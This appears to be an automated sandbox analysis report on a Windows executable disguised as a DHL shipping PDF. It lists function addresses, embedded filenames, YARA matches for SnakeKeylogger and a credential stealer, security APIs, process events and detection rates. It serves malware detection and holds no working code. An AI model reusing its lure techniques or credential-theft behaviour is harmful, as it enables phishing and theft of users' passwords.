Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0714AAE0	0_2_0714AAE0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_053627B5	3_2_053627B5
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0536C168	3_2_0536C168
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05364F08	3_2_05364F08
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05367E68	3_2_05367E68
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0536CA58	3_2_0536CA58
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05362DD1	3_2_05362DD1
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05367E59	3_2_05367E59
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05364EF8	3_2_05364EF8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0536B9E0	3_2_0536B9E0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05444500	3_2_05444500
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544CDE0	3_2_0544CDE0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054415F8	3_2_054415F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05441C58	3_2_05441C58
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05447770	3_2_05447770
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05446998	3_2_05446998
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05440D48	3_2_05440D48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544ED70	3_2_0544ED70
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544C520	3_2_0544C520
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544C530	3_2_0544C530
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05440D3A	3_2_05440D3A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544CDD0	3_2_0544CDD0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054415EA	3_2_054415EA
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544ED80	3_2_0544ED80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05443C41	3_2_05443C41
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05443C50	3_2_05443C50
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544BC71	3_2_0544BC71
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544DC12	3_2_0544DC12
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544DC20	3_2_0544DC20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544E4C0	3_2_0544E4C0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544E4D0	3_2_0544E4D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544BC80	3_2_0544BC80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544048A	3_2_0544048A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05449C90	3_2_05449C90
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05440498	3_2_05440498
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05442F48	3_2_05442F48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544AF68	3_2_0544AF68
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544AF78	3_2_0544AF78
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05442F38	3_2_05442F38
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054437E8	3_2_054437E8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054437F8	3_2_054437F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05449E18	3_2_05449E18
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544F620	3_2_0544F620
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544F630	3_2_0544F630
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544A6C8	3_2_0544A6C8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544D682	3_2_0544D682
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544D690	3_2_0544D690
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544A6B9	3_2_0544A6B9
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544C97A	3_2_0544C97A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544E91E	3_2_0544E91E
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544E928	3_2_0544E928
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544F1C8	3_2_0544F1C8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544F1D8	3_2_0544F1D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544118F	3_2_0544118F
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544C988	3_2_0544C988
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054411A0	3_2_054411A0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05440040	3_2_05440040
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544E068	3_2_0544E068
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544E078	3_2_0544E078
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05440006	3_2_05440006
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544B818	3_2_0544B818
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544B828	3_2_0544B828
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544C0CA	3_2_0544C0CA
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054408DF	3_2_054408DF
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544C0D8	3_2_0544C0D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054408F0	3_2_054408F0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05444098	3_2_05444098
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054440A8	3_2_054440A8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05441B4A	3_2_05441B4A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544AB10	3_2_0544AB10
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544AB20	3_2_0544AB20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544B3C1	3_2_0544B3C1
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544B3D0	3_2_0544B3D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05443392	3_2_05443392
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_054433A0	3_2_054433A0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544A261	3_2_0544A261
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544A270	3_2_0544A270
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544FA78	3_2_0544FA78
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544D22A	3_2_0544D22A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544D238	3_2_0544D238
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05442AE0	3_2_05442AE0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_05442AF0	3_2_05442AF0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 3_2_0544FA88	3_2_0544FA88

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2137131687.0000000008AB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2124944282.0000000002B51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2124944282.0000000002B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000000.2110501835.0000000000846000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNKUn.exe" vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2136107541.00000000055C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2123309741.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4568835958.0000000000F87000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4568374575.000000000041A000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Binary or memory string: OriginalFilenameNKUn.exe" vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, iZZiMmYtgNbupTaoiP.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, iZZiMmYtgNbupTaoiP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, iZZiMmYtgNbupTaoiP.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, iZZiMmYtgNbupTaoiP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, iZZiMmYtgNbupTaoiP.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, iZZiMmYtgNbupTaoiP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, SXeNjVTESUiPlIoGVN.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Mutant created: NULL

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002FDD000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4572937327.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002FFE000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002FBF000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002FCE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Virustotal: Detection: 31%
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mscoree.dll	Jump to behavior
